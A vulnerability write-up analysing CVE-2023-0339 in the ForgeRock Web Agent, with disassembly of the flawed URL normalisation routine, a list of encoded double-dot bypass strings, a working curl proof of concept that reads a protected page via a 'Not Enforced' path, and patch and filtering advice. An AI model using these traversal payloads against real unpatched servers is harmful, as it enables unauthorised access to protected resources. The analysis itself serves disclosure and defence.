Overview

The ForgeRock Web Agent restricts access and enforces authorization to sensitive resources deployed on a web server. A ForgeRock Access Management instance governs the policies and authentication mechanisms available to the Web Agent. The Web Agent may be installed inside native web servers such as Microsoft IIS, Apache, NGINX or IBM HTTP Server. A Java counterpart to the native Web Agent, called the Java Agent may be installed inside Java web servers such as JBoss, Jetty, Tomcat or WebLogic and provides the same features.

On February 22, 2023, ForgeRock published an advisory for a path traversal vulnerability affecting both the native Web Agent, designated by CVE-2023-0339 and the Java Agent, designated by CVE-2023-0511. The vulnerability has a CVSS base score of 9.1 and is rated critical. An attacker who can leverage this vulnerability can achieve unauthorized access to all resources on an affected web server, bypassing all policy restrictions and authorization requirements governed by ForgeRock Access Management.

The analysis below details the vulnerability CVE-2023-0339 in the native Web Agent, however the same issue also affects the Java Agent.

All testing was performed on ForgeRock Web Agent version 5.10.1, installed in Microsoft IIS running on Windows Server 2022 with a ForgeRock Access Management backend version 7.3.0 deployed on Tomcat and using Microsoft Active Directory for authentication.

Analysis

When the Web Agent is installed in Microsoft IIS, the binary mod_iis_openam_64.dll is loaded into the IIS w3wp.exe process and provides the Web Agent functionality. If we perform a binary diff of a vulnerable version of mod_iis_openam_64.dll, version 5.10.1 against a patched version 5.10.2, we can quickly see where the vulnerability lies.

Of note are the modified functions parse_url and uri_normalize. We can also note that several functions were added to the patched binary, specifically url_path_consume_separator, url_path_normalise_segments, and url_path_parent_segment_identifier.

Given the original advisory states this is a relative path traversal vulnerability, we now suspect the Web Agent is failing to sanitize a URL that contains double dot notation.

Inspecting the disassembly of the vulnerable uri_normalize function we can see it splits a path into segments delineated by a forward slash (/) and then inspects each segment to see if the segment is a double dot (..) string. If a double dot segment is found, this segment is skipped. Finally all segments remaining are used to reconstruct the URL path which is then used during all further processing by the Web agent.

  .rdata:0x000000000009D8E8 dotdot:
  .rdata:0x000000000009D8E8        db "..\x00"
  
; mod_iis_openam_64.dll!uri_normalize + 0x260
   .text:0x000000000000D2E0 code_0xD2E0:
   .text:0x000000000000D2E0    488B442430           mov rax, qword ptr [segments]
   .text:0x000000000000D2E5    4A8B14C0             mov rdx, qword ptr [rax+r8*8] ; get next path segment
   .text:0x000000000000D2E9    0FB602               movzx eax, byte ptr [rdx] ; get first char in segment
   .text:0x000000000000D2EC    3A05F6050900         cmp al, byte ptr [dotdot] ; check for a ASCII dot
   .text:0x000000000000D2F2    7533                 jnz code_0xD327
   .text:0x000000000000D2F4 code_0xD2F4:
   .text:0x000000000000D2F4    0FB64201             movzx eax, byte ptr [rdx+0x1] ; get second char in segment
   .text:0x000000000000D2F8    3A05EB050900         cmp al, byte ptr [(dotdot+0x1)] ; check for a ASCII dot
   .text:0x000000000000D2FE    7527                 jnz code_0xD327
   .text:0x000000000000D300 code_0xD300:
   .text:0x000000000000D300    0FB64202             movzx eax, byte ptr [rdx+0x2]; get third char in segment
   .text:0x000000000000D304    3A05E0050900         cmp al, byte ptr [(dotdot+0x2)] ; check for a null terminator
   .text:0x000000000000D30A    751B                 jnz code_0xD327 ; if the segment is a ".." string, skip this segment.

We can see from reading through uri_normalize, that URL encoded dot characters are not identified, allowing an attacker to pass a URL encoded dot, i.e. %2e which will bypass the attempt at filtering. Additionally we can note that segments are split only on a forward slash (/) and not on a backward slash (\) which will also impact filtering. We can therefore expect URLs that contain the following double dot path specifiers to pass the filtering provided by uri_normalize.

• /..\
  
• /%2e%2e/
  
• /%2e./
  
• /.%2e/
  

The implication of the above is that an attacker can include double dot path specifiers in a URL path. The underlying web server will honor the double dot path specifier when resolving a URL, however the attacker must also bypass the access checks performed by the Web Agent.

If we examine the ForgeRock documentation on how a Web Agent intercept requests, we can note an interesting feature as highlighted in the flow diagram below.

Image Source: forgerock.com

After a request is intercepted by the Web Agent, and after the URL is normalized via the vulnerable uri_normalize function, the URL will be checked against a list of “Not Enforced” URLs. If the intercepted URL is a match with a “Not Enforced” URL, the intercepted request is passed through to the underlying web server which will service it. If an attacker requests a URL that contains double dot notation to a sensitive resource while also passing a “Not Enforced” check, the underlying web server will provide access to the sensitive resource as all authentication enforcement from the Web Agent will be skipped.

By default a Web Agent in Access Management will have no “Not Enforced” URLs configured. However it would be reasonable practice to allow unauthenticated access to some static content on a web server, such as the image files, CSS, and JavaScript files that comprise the custom content a user sees when they first visit the web server, before the user provides authentication to the sensitive resources held on the web server.

“Not Enforced” URLs use a glob like format by default (or optionally a regular expression based format). For example, to allow unauthenticated access to all content in the /images/ folder on a server called WIN-V28QNSO2H05, a “Not Enforced” URL would look like http://WIN-V28QNSO2H05/images/* as seen in the screenshot below.

If Access Management is configured to deny unauthenticated access to a sensitive resource, for example http://WIN-V28QNSO2H05/private/ then we can see that any requests to the sensitive resources are redirected, via a HTTP 302 response, to an authentication page in Access Management.

C:\>curl -v  http://WIN-V28QNSO2H05/private/index.html
*   Trying 172.24.231.161:80...
* Connected to WIN-V28QNSO2H05 (172.24.231.161) port 80 (#0)
> GET /private/index.html HTTP/1.1
> Host: WIN-V28QNSO2H05
> User-Agent: curl/8.0.1
> Accept: */*
>
< HTTP/1.1 302 Found
< Cache-Control: max-age=0, no-cache, no-store, must-revalidate
< Pragma: no-cache
< Content-Type: text/html; charset=UTF-8
< Expires: Sat, 01 Jan 2000 01:00:00 GMT
< Location: https://WIN-V28QNSO2H05:8443/openam/oauth2/authorize?state=mYlMIEKL4Vkc_BavOQ_ALzOKw1Q&nonce=dav82QOsl90O8nsT&response_mode=form_post&redirect_uri=http%3A%2F%2FWIN-V28QNSO2H05%3A80%2Fagent%2Fcdsso-oauth2&response_type=id_token&scope=openid&client_id=iisadmin&agent_provider=true&agent_realm=%2F
< Server: Microsoft-IIS/10.0
< Set-Cookie: am-auth-jwt=; Path=/; HttpOnly; Max-Age=0; Expires=Thu, 01-Jan-1970 00:00:00 GMT
< Set-Cookie: agent-authn-tx-mYlMIEKL4Vkc_BavOQ_ALzOKw1Q=ClHlwBgAHgOGAAAAAAAAAIYAAAAAAAAAhgAAAHsidXJsIjoiaHR0cDovL1dJTi1WMjhRTlNPMkgwNTo4MC9wcml2YXRlL2luZGV4Lmh0bWwiLCJtdGhkIjoxLCJoZHJzIjp7ImNvbnRlbnQtdHlwZSI6IiJ9LCJleHAiOjE2ODE5MDQ3NDIsIm5vbmNlIjoiZGF2ODJRT3NsOTBPOG5zVCJ9; Path=/; HttpOnly; Max-Age=300; Expires=Wed, 19-Apr-2023 11:45:42 GMT
< Date: Wed, 19 Apr 2023 11:40:42 GMT
< Content-Length: 449
<
<head><title>Document Moved</title></head>
<body><h1>Object Moved</h1>This document may be found <a HREF="https://WIN-V28QNSO2H05:8443/openam/oauth2/authorize?state=mYlMIEKL4Vkc_BavOQ_ALzOKw1Q&amp;nonce=dav82QOsl90O8nsT&amp;response_mode=form_post&amp;redirect_uri=http%3A%2F%2FWIN-V28QNSO2H05%3A80%2Fagent%2Fcdsso-oauth2&amp;response_type=id_token&amp;scope=openid&amp;client_id=iisadmin&amp;agent_provider=true&amp;agent_realm=%2F">here</a></body>* Connection #0 to host WIN-V28QNSO2H05 left intact

However, an attacker can leverage the vulnerability for unauthorized access to the sensitive resources in /private/index.html, by requesting /images/%2e%2e/private/index.html via the following cURL request:

C:\>curl -v  http://WIN-V28QNSO2H05/images/%2e%2e/private/index.html
*   Trying 172.24.231.161:80...
* Connected to WIN-V28QNSO2H05 (172.24.231.161) port 80 (#0)
> GET /images/%2e%2e/private/index.html HTTP/1.1
> Host: WIN-V28QNSO2H05
> User-Agent: curl/8.0.1
> Accept: */*
>
< HTTP/1.1 200 OK
< Content-Type: text/html
< Last-Modified: Mon, 17 Apr 2023 10:37:51 GMT
< Accept-Ranges: bytes
< ETag: "65f93aa91871d91:0"
< Server: Microsoft-IIS/10.0
< Date: Wed, 19 Apr 2023 11:44:09 GMT
< Content-Length: 60
<
<html>
<body>
<h1>This is a secret!</h1>
</body>
</html>* Connection #0 to host WIN-V28QNSO2H05 left intact

The above request will pass the check against the “Not Enforced” pattern http://WIN-V28QNSO2H05/images/* and the Web Agent will proceed to pass the request to the underlying web server which will resolve http://WIN-V28QNSO2H05/images/%2e%2e/private/index.html into its canonical form of http://WIN-V28QNSO2H05/private/index.html and return the contents, circumventing any access controls in Web Agent.

Guidance

ForgeRock have published Web Agent version 5.10.2 which resolves the vulnerability. Additionally, employing HTTP request filtering to reject URL requests that contain double dot path notation can prevent an attacker leveraging this vulnerability. Specifically paths containing "..", "%2e%2e", "%2e." or ".%2e" should be blocked.